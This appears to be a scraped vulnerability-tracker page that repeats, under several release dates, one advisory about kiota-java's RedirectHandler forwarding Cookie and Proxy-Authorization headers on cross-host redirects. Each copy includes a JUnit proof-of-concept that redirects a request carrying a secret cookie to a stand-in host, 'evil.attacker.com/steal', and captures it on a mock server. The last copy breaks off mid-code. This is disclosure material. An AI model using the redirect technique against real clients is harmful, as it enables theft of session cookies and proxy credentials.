            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 13, 2024

1.14.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 06, 2024

1.13.2 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 30, 2024

1.13.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 11, 2024

1.13.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 25, 2024

1.12.4 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 05, 2024

1.12.3 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
